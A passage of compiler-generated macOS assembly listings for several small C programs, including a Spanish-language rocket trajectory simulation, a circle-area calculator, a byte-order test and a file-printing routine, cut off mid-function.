%.2ef\n" l_.str.10: ; @.str.10 .asciz "Masa inicial del combustible [kg]: %.2ef\n" l_.str.11: ; @.str.11 .asciz "%.10ef\t%.10ef\t%.10ef" l_.str.12: ; @.str.12 .asciz "Altura m\303\241xima [m]: %.2ef\n" l_.str.13: ; @.str.13 .asciz "Tiempo de empuje [s]: %.2ef\n" l_.str.14: ; @.str.14 .asciz "Tiempo hasta impacto [min]: %i\n" l_.str.15: ; @.str.15 .asciz "\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal4,4byte_literals .p2align 2 ## -- Begin function main LCPI0_0: .long 0x4bbebc20 ## float 2.5E+7 LCPI0_1: .long 0x396bb84a ## float 2.24799995E-4 LCPI0_2: .long 0x428c8000 ## float 70.25 LCPI0_3: .long 0x43570000 ## float 215 LCPI0_4: .long 0x482fc800 ## float 1.8E+5 LCPI0_5: .long 0x4a002c80 ## float 2.1E+6 LCPI0_6: .long 0x4bcdfe60 ## float 2.7E+7 LCPI0_7: .long 0x4275147b ## float 61.2700005 LCPI0_8: .long 0x43490f5c ## float 201.059998 LCPI0_9: .long 0x47d6d800 ## float 1.1E+5 LCPI0_10: .long 0x49b71b00 ## float 1.5E+6 LCPI0_11: .long 0x4be4e1c0 ## float 3.0E+7 LCPI0_12: .long 0x39aa49eb ## float 3.24799999E-4 .section __TEXT,__text,regular,pure_instructions .globl _main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $112, %rsp movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -100(%rbp) leaq L_.str(%rip), %rdi movb $0, %al callq _printf movq l___const.main.nombre1(%rip), %rax movq %rax, -32(%rbp) movq l___const.main.nombre1+8(%rip), %rax movq %rax, -24(%rbp) movl l___const.main.nombre1+16(%rip), %eax movl %eax, -16(%rbp) movq l___const.main.nombre2(%rip), %rax movq %rax, -64(%rbp) movq l___const.main.nombre2+8(%rip), %rax movq %rax, -56(%rbp) movl l___const.main.nombre2+16(%rip), %eax movl %eax, -48(%rbp) movq l___const.main.nombre3(%rip), %rax movq %rax, -96(%rbp) movq l___const.main.nombre3+8(%rip), %rax movq %rax, -88(%rbp) movl l___const.main.nombre3+16(%rip), %eax movl %eax, -80(%rbp) leaq -32(%rbp), %rdi movss LCPI0_11(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss LCPI0_12(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero movss LCPI0_7(%rip), %xmm2 ## xmm2 = mem[0],zero,zero,zero movss LCPI0_8(%rip), %xmm3 ## xmm3 = mem[0],zero,zero,zero movss LCPI0_9(%rip), %xmm4 ## xmm4 = mem[0],zero,zero,zero movss LCPI0_10(%rip), %xmm5 ## xmm5 = mem[0],zero,zero,zero callq _simulacion_cohete leaq -64(%rbp), %rdi movss LCPI0_6(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss LCPI0_1(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero movss LCPI0_7(%rip), %xmm2 ## xmm2 = mem[0],zero,zero,zero movss LCPI0_8(%rip), %xmm3 ## xmm3 = mem[0],zero,zero,zero movss LCPI0_9(%rip), %xmm4 ## xmm4 = mem[0],zero,zero,zero movss LCPI0_10(%rip), %xmm5 ## xmm5 = mem[0],zero,zero,zero callq _simulacion_cohete leaq -96(%rbp), %rdi movss LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss LCPI0_1(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero movss LCPI0_2(%rip), %xmm2 ## xmm2 = mem[0],zero,zero,zero movss LCPI0_3(%rip), %xmm3 ## xmm3 = mem[0],zero,zero,zero movss LCPI0_4(%rip), %xmm4 ## xmm4 = mem[0],zero,zero,zero movss LCPI0_5(%rip), %xmm5 ## xmm5 = mem[0],zero,zero,zero callq _simulacion_cohete movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB0_2 ## %bb.1: xorl %eax, %eax addq $112, %rsp popq %rbp retq LBB0_2: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .section __TEXT,__literal4,4byte_literals .p2align 2 ## -- Begin function simulacion_cohete LCPI1_0: .long 0x3f11eb85 ## float 0.569999993 LCPI1_1: .long 0x3dcccccd ## float 0.100000001 LCPI1_2: .long 0x3f000000 ## float 0.5 LCPI1_3: .long 0x42700000 ## float 60 .section __TEXT,__text,regular,pure_instructions .globl _simulacion_cohete .p2align 4, 0x90 _simulacion_cohete: ## @simulacion_cohete .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $96, %rsp movq %rdi, -8(%rbp) movss %xmm0, -12(%rbp) movss %xmm1, -16(%rbp) movss %xmm2, -20(%rbp) movss %xmm3, -24(%rbp) movss %xmm4, -28(%rbp) movss %xmm5, -32(%rbp) xorps %xmm0, %xmm0 movss %xmm0, -36(%rbp) movss LCPI1_0(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -40(%rbp) xorps %xmm0, %xmm0 movss %xmm0, -44(%rbp) movq -8(%rbp), %rdi leaq L_.str.1(%rip), %rsi callq _fopen movq %rax, -56(%rbp) movq -56(%rbp), %rdi movss -44(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -40(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 movss -36(%rbp), %xmm2 ## xmm2 = mem[0],zero,zero,zero cvtss2sd %xmm2, %xmm2 leaq L_.str.2(%rip), %rsi movb $3, %al callq _fprintf movss -32(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss -16(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero mulss -12(%rbp), %xmm1 divss %xmm1, %xmm0 movss %xmm0, -60(%rbp) xorps %xmm0, %xmm0 movss %xmm0, -64(%rbp) leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf movq -8(%rbp), %rsi leaq L_.str.4(%rip), %rdi movb $0, %al callq _printf movss -12(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 leaq L_.str.5(%rip), %rdi movb $1, %al callq _printf movss -16(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 leaq L_.str.6(%rip), %rdi movb $1, %al callq _printf movss -20(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 leaq L_.str.7(%rip), %rdi movb $1, %al callq _printf movss -24(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 leaq L_.str.8(%rip), %rdi movb $1, %al callq _printf movss -28(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 leaq L_.str.9(%rip), %rdi movb $1, %al callq _printf movss -32(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 leaq L_.str.10(%rip), %rdi movb $1, %al callq _printf LBB1_1: ## =>This Inner Loop Header: Depth=1 movss -40(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss -36(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero movss -20(%rbp), %xmm2 ## xmm2 = mem[0],zero,zero,zero movss -24(%rbp), %xmm3 ## xmm3 = mem[0],zero,zero,zero callq _friccion movd %xmm0, %eax xorl $2147483648, %eax ## imm = 0x80000000 movd %eax, %xmm0 movss %xmm0, -68(%rbp) movss -44(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss -28(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero movss -32(%rbp), %xmm2 ## xmm2 = mem[0],zero,zero,zero movss -16(%rbp), %xmm3 ## xmm3 = mem[0],zero,zero,zero movss -12(%rbp), %xmm4 ## xmm4 = mem[0],zero,zero,zero callq _masa_cohete movss %xmm0, -80(%rbp) ## 4-byte Spill movss -40(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero callq _gravedad movaps %xmm0, %xmm2 movss -80(%rbp), %xmm0 ## 4-byte Reload ## xmm0 = mem[0],zero,zero,zero movss -68(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero movd %xmm0, %eax xorl $2147483648, %eax ## imm = 0x80000000 movd %eax, %xmm0 mulss %xmm2, %xmm0 addss %xmm1, %xmm0 movss %xmm0, -68(%rbp) movss -44(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero movss -60(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero ucomiss %xmm1, %xmm0 jbe LBB1_3 ## %bb.2: ## in Loop: Header=BB1_1 Depth=1 movss -12(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero addss -68(%rbp), %xmm0 movss %xmm0, -68(%rbp) LBB1_3: ## in Loop: Header=BB1_1 Depth=1 movss -68(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -84(%rbp) ## 4-byte Spill movss -44(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss -28(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero movss -32(%rbp), %xmm2 ## xmm2 = mem[0],zero,zero,zero movss -16(%rbp), %xmm3 ## xmm3 = mem[0],zero,zero,zero movss -12(%rbp), %xmm4 ## xmm4 = mem[0],zero,zero,zero callq _masa_cohete movaps %xmm0, %xmm1 movss -84(%rbp), %xmm0 ## 4-byte Reload ## xmm0 = mem[0],zero,zero,zero divss %xmm1, %xmm0 movss %xmm0, -72(%rbp) movss -36(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -76(%rbp) movss -72(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss -36(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero movss LCPI1_1(%rip), %xmm2 ## xmm2 = mem[0],zero,zero,zero mulss %xmm2, %xmm0 addss %xmm1, %xmm0 movss %xmm0, -36(%rbp) movss -36(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero addss -76(%rbp), %xmm0 movss %xmm0, -76(%rbp) movss LCPI1_2(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero mulss -76(%rbp), %xmm0 movss %xmm0, -76(%rbp) movss -76(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss -40(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero movss LCPI1_1(%rip), %xmm2 ## xmm2 = mem[0],zero,zero,zero mulss %xmm2, %xmm0 addss %xmm1, %xmm0 movss %xmm0, -40(%rbp) movss -40(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero ucomiss -64(%rbp), %xmm0 jbe LBB1_5 ## %bb.4: ## in Loop: Header=BB1_1 Depth=1 movss -40(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss %xmm0, -64(%rbp) LBB1_5: ## in Loop: Header=BB1_1 Depth=1 movss LCPI1_1(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero addss -44(%rbp), %xmm0 movss %xmm0, -44(%rbp) movq -56(%rbp), %rdi movss -44(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -40(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 movss -36(%rbp), %xmm2 ## xmm2 = mem[0],zero,zero,zero cvtss2sd %xmm2, %xmm2 leaq L_.str.11(%rip), %rsi movb $3, %al callq _fprintf xorps %xmm0, %xmm0 ucomiss -40(%rbp), %xmm0 jbe LBB1_7 ## %bb.6: movss -64(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 leaq L_.str.12(%rip), %rdi movb $1, %al callq _printf movss -60(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 leaq L_.str.13(%rip), %rdi movb $1, %al callq _printf movss -44(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss LCPI1_3(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero divss %xmm1, %xmm0 cvttss2si %xmm0, %esi leaq L_.str.14(%rip), %rdi movb $0, %al callq _printf movq -56(%rbp), %rdi callq _fclose addq $96, %rsp popq %rbp retq LBB1_7: ## in Loop: Header=BB1_1 Depth=1 movq -56(%rbp), %rdi leaq L_.str.15(%rip), %rsi movb $0, %al callq _fprintf ## %bb.8: ## in Loop: Header=BB1_1 Depth=1 jmp LBB1_1 .cfi_endproc ## -- End function .section __TEXT,__literal4,4byte_literals .p2align 2 ## -- Begin function densidad LCPI2_0: .long 0x472d2ac4 ## float 44330.7656 LCPI2_3: .long 0x3f800000 ## float 1 LCPI2_4: .long 0x43901333 ## float 288.149994 LCPI2_5: .long 0x3bd4fdf4 ## float 0.00650000013 .section __TEXT,__literal8,8byte_literals .p2align 3 LCPI2_1: .quad 0x3ff39979c0000000 ## double 1.2249696254730225 LCPI2_2: .quad 0x401507b9e0000000 ## double 5.257544994354248 .section __TEXT,__text,regular,pure_instructions .globl _densidad .p2align 4, 0x90 _densidad: ## @densidad .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movss %xmm0, -8(%rbp) movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero movss LCPI2_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero ucomiss %xmm1, %xmm0 jbe LBB2_2 ## %bb.1: xorps %xmm0, %xmm0 movss %xmm0, -4(%rbp) jmp LBB2_3 LBB2_2: movss LCPI2_5(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero mulss -8(%rbp), %xmm1 movss LCPI2_4(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero divss %xmm0, %xmm1 movss LCPI2_3(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero subss %xmm1, %xmm0 cvtss2sd %xmm0, %xmm0 movsd LCPI2_2(%rip), %xmm1 ## xmm1 = mem[0],zero callq _pow movaps %xmm0, %xmm1 movsd LCPI2_1(%rip), %xmm0 ## xmm0 = mem[0],zero mulsd %xmm1, %xmm0 cvtsd2ss %xmm0, %xmm0 movss %xmm0, -4(%rbp) LBB2_3: movss -4(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__literal4,4byte_literals .p2align 2 ## -- Begin function friccion LCPI3_0: .long 0x3f000000 ## float 0.5 .section __TEXT,__text,regular,pure_instructions .globl _friccion .p2align 4, 0x90 _friccion: ## @friccion .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movss %xmm0, -4(%rbp) movss %xmm1, -8(%rbp) movss %xmm2, -12(%rbp) movss %xmm3, -16(%rbp) movss -4(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero callq _densidad movaps %xmm0, %xmm1 movss LCPI3_0(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero mulss %xmm1, %xmm0 mulss -12(%rbp), %xmm0 mulss -16(%rbp), %xmm0 mulss -8(%rbp), %xmm0 movss %xmm0, -20(%rbp) ## 4-byte Spill cvttss2si -8(%rbp), %edi callq _abs movss -20(%rbp), %xmm0 ## 4-byte Reload ## xmm0 = mem[0],zero,zero,zero cvtsi2ss %eax, %xmm1 mulss %xmm1, %xmm0 addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__literal8,8byte_literals .p2align 3 ## -- Begin function gravedad LCPI4_0: .quad 0x42f6ba0bc0000000 ## double 399813069766656 LCPI4_1: .quad 0x4000000000000000 ## double 2 .section __TEXT,__literal4,4byte_literals .p2align 2 LCPI4_2: .long 0x4ac2a420 ## float 6378000 .section __TEXT,__text,regular,pure_instructions .globl _gravedad .p2align 4, 0x90 _gravedad: ## @gravedad .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movss %xmm0, -4(%rbp) movss LCPI4_2(%rip), %xmm0 ## xmm0 = mem[0],zero,zero,zero addss -4(%rbp), %xmm0 cvtss2sd %xmm0, %xmm0 movsd LCPI4_1(%rip), %xmm1 ## xmm1 = mem[0],zero callq _pow movaps %xmm0, %xmm1 movsd LCPI4_0(%rip), %xmm0 ## xmm0 = mem[0],zero divsd %xmm1, %xmm0 cvtsd2ss %xmm0, %xmm0 addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _masa_cohete ## -- Begin function masa_cohete .p2align 4, 0x90 _masa_cohete: ## @masa_cohete .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movss %xmm0, -4(%rbp) movss %xmm1, -8(%rbp) movss %xmm2, -12(%rbp) movss %xmm3, -16(%rbp) movss %xmm4, -20(%rbp) movss -12(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero movss -16(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero mulss -20(%rbp), %xmm0 movss -4(%rbp), %xmm2 ## xmm2 = mem[0],zero,zero,zero movd %xmm0, %eax xorl $2147483648, %eax ## imm = 0x80000000 movd %eax, %xmm0 mulss %xmm2, %xmm0 addss %xmm1, %xmm0 movss %xmm0, -24(%rbp) xorps %xmm0, %xmm0 ucomiss -24(%rbp), %xmm0 jbe LBB5_2 ## %bb.1: xorps %xmm0, %xmm0 movss %xmm0, -24(%rbp) LBB5_2: movss -24(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero addss -8(%rbp), %xmm0 popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__const .globl _G ## @G .p2align 2 _G: .long 0x2e932e3e ## float 6.69300032E-11 .globl _R_T ## @R_T .p2align 2 _R_T: .long 0x4ac2a420 ## float 6378000 .globl _M_T ## @M_T .p2align 2 _M_T: .long 0x689e1eb0 ## float 5.97359991E+24 .globl _R ## @R .p2align 2 _R: .long 0x438f87ae ## float 287.059998 .globl _L ## @L .p2align 2 _L: .long 0x3bd4fdf4 ## float 0.00650000013 .globl _g_0 ## @g_0 .p2align 2 _g_0: .long 0x411cf5c3 ## float 9.81000041 .globl _T_0 ## @T_0 .p2align 2 _T_0: .long 0x43901333 ## float 288.149994 .globl _P_0 ## @P_0 .p2align 2 _P_0: .long 0x47c5e680 ## float 101325 .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Bienvenido!!!\n" .section __TEXT,__const .p2align 4 ## @__const.main.nombre1 l___const.main.nombre1: .asciz "Ah Mun\000\000\000\000\000\000\000\000\000\000\000\000\000" .p2align 4 ## @__const.main.nombre2 l___const.main.nombre2: .asciz "Ahua Kin\000\000\000\000\000\000\000\000\000\000\000" .p2align 4 ## @__const.main.nombre3 l___const.main.nombre3: .asciz "Chac\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" .section __TEXT,__cstring,cstring_literals L_.str.1: ## @.str.1 .asciz "w+" L_.str.2: ## @.str.2 .asciz "%.10ef\t%.10ef\t%.10ef\n" L_.str.3: ## @.str.3 .asciz "-------------------------------------------------------------------\n" L_.str.4: ## @.str.4 .asciz "Nombre del cohete: %s\n" L_.str.5: ## @.str.5 .asciz "Empuje del cohete [N]: %.2ef\n" L_.str.6: ## @.str.6 .asciz "Consumo especifico del empuje [kg/N*s]: %.2ef\n" L_.str.7: ## @.str.7 .asciz "Coeficiente de forma: %.2f\n" L_.str.8: ## @.str.8 .asciz "Secci\303\263n transversal del cohete [m^2]: %.2f\n" L_.str.9: ## @.str.9 .asciz "Masa del cohete vac\303\255o [kg]: %.2ef\n" L_.str.10: ## @.str.10 .asciz "Masa inicial del combustible [kg]: %.2ef\n" L_.str.11: ## @.str.11 .asciz "%.10ef\t%.10ef\t%.10ef" L_.str.12: ## @.str.12 .asciz "Altura m\303\241xima [m]: %.2ef\n" L_.str.13: ## @.str.13 .asciz "Tiempo de empuje [s]: %.2ef\n" L_.str.14: ## @.str.14 .asciz "Tiempo hasta impacto [min]: %i\n" L_.str.15: ## @.str.15 .asciz "\n" .subsections_via_symbols
the_stack_data/156392032.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal8,8byte_literals .p2align 3 ; -- Begin function main lCPI0_0: .quad 0x400921f9f01b866e ; double 3.1415899999999999 .section __TEXT,__text,regular,pure_instructions .globl _main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #0 str w8, [sp, #20] ; 4-byte Folded Spill stur wzr, [x29, #-4] mov x9, sp add x8, sp, #24 str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _scanf ldr d0, [sp, #24] ldr d1, [sp, #24] fmul d0, d0, d1 adrp x8, lCPI0_0@PAGE ldr d1, [x8, lCPI0_0@PAGEOFF] fmul d0, d0, d1 stur d0, [x29, #-16] ldur d0, [x29, #-16] mov x8, sp str d0, [x8] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf ldr w0, [sp, #20] ; 4-byte Folded Reload ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%lf" l_.str.1: ; @.str.1 .asciz "A=%.4lf\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal8,8byte_literals .p2align 3 ## -- Begin function main LCPI0_0: .quad 0x400921f9f01b866e ## double 3.1415899999999999 .section __TEXT,__text,regular,pure_instructions .globl _main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl $0, -4(%rbp) leaq L_.str(%rip), %rdi leaq -24(%rbp), %rsi movb $0, %al callq _scanf movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero mulsd -24(%rbp), %xmm0 movsd LCPI0_0(%rip), %xmm1 ## xmm1 = mem[0],zero mulsd %xmm1, %xmm0 movsd %xmm0, -16(%rbp) movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero leaq L_.str.1(%rip), %rdi movb $1, %al callq _printf xorl %eax, %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%lf" L_.str.1: ## @.str.1 .asciz "A=%.4lf\n" .subsections_via_symbols
the_stack_data/117495.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 mov x8, x0 mov w0, #0 str wzr, [sp, #28] str w8, [sp, #24] str x1, [sp, #16] add x8, sp, #12 mov w9, #22136 movk w9, #4660, lsl #16 str w9, [sp, #12] strh wzr, [sp, #10] add x8, x8, #1 ldrh w8, [x8] strh w8, [sp, #10] add sp, sp, #32 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $0, -4(%rbp) movl %edi, -8(%rbp) movq %rsi, -16(%rbp) movl $305419896, -20(%rbp) ## imm = 0x12345678 movw $0, -22(%rbp) movw -19(%rbp), %ax movw %ax, -22(%rbp) xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/23574268.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _func_intro ; -- Begin function func_intro .p2align 2 _func_intro: ; @func_intro .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF bl _fopen str x0, [sp, #16] ldr x8, [sp, #16] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf b LBB0_2 LBB0_2: adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf b LBB0_3 LBB0_3: ; =>This Inner Loop Header: Depth=1 ldr x0, [sp, #16] bl _feof subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: ; in Loop: Header=BB0_3 Depth=1 ldr x0, [sp, #16] bl _fgetc mov x9, sp ; implicit-def: $x8 mov x8, x0 str x8, [x9] adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf b LBB0_3 LBB0_5: ldur w0, [x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _funcdef ; -- Begin function funcdef .p2align 2 _funcdef: ; @funcdef .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF bl _fopen str x0, [sp, #16] ldr x8, [sp, #16] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB1_2 b LBB1_1 LBB1_1: adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf b LBB1_2 LBB1_2: adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf b LBB1_3 LBB1_3: ; =>This Inner Loop Header: Depth=1 ldr x0, [sp, #16] bl _feof subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB1_5 b LBB1_4 LBB1_4: ; in Loop: Header=BB1_3 Depth=1 ldr x0, [sp, #16] bl _fgetc mov x9, sp ; implicit-def: $x8 mov x8, x0 str x8, [x9] adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf b LBB1_3 LBB1_5: ldur w0, [x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _retrn ; -- Begin function retrn .p2align 2 _retrn: ; @retrn .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x0, l_.str.6@PAGE add x0, x0, l_.str.6@PAGEOFF adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF bl _fopen str x0, [sp, #16] ldr x8, [sp, #16] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB2_2 b LBB2_1 LBB2_1: adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf b LBB2_2 LBB2_2: adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf b LBB2_3 LBB2_3: ; =>This Inner Loop Header: Depth=1 ldr x0, [sp, #16] bl _feof subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB2_5 b LBB2_4 LBB2_4: ; in Loop: Header=BB2_3 Depth=1 ldr x0, [sp, #16] bl _fgetc mov x9, sp ; implicit-def: $x8 mov x8, x0 str x8, [x9] adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf b LBB2_3 LBB2_5: ldur w0, [x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _typefunc ; -- Begin function typefunc .p2align 2 _typefunc: ; @typefunc .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x0, l_.str.7@PAGE add x0, x0, l_.str.7@PAGEOFF adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF bl _fopen str x0, [sp, #16] ldr x8, [sp, #16] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB3_2 b LBB3_1 